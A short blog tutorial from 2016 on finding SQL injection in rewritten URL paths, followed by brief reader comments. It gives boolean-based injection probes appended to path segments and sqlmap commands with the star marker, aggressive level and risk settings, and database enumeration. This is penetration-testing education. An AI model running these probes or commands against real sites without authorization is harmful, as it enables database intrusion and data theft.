How to Test and Exploit SQL Injections in URL Rewrite Rules

August 31, 2016 | Views: 16830

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First of all, what is URL rewrite?

You’ve likely seen sites with this schema in URLs: http://victim.com/?id=1

Most everyone knows how to test for SQL injection in this situation —> http://mysite.com/?id=1' or
http://mysite.com/?id=1 and 2.5=2.5 or
http://mysite.com/?id=1 and 3.4=3.5

and etc.

But, in URL rewrites, this UR http://victim.com/?id=1 will become
http://victim.com/1 ,{id is hidden and the parameter 1 is used in url}

For testing SQL injection in these kind of URLs, we just use our payloads as before, but after the parameter :

http://victim.com/1' or
http://victim.com/1 and 3.6=3.6

http://victim.com/1 and 3.6=3.77

and etc.

The results would be the same as a normal post parameter.

For  testing SQL injection with SQLMAP, we just use a star in the format. For instance:

sqlmap -u “http://victim.com/1*" --random-agent --level 5 --risk 3 --dbs

or

sqlmap -u “http://victim.com/content*/1" --random-agent --level 5 --risk 3 --dbs

For injecting in the content parameter, the star sign shows sqlmap where to inject payloads.

 

Happy Hacking

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15 Comments
  1. good information

  2. Is it possible a web application to show .html on the url in order to hide the .php file and generally the parameters? If yes how can we inject in that situation?

  3. Good in gainig knowledge about new technique

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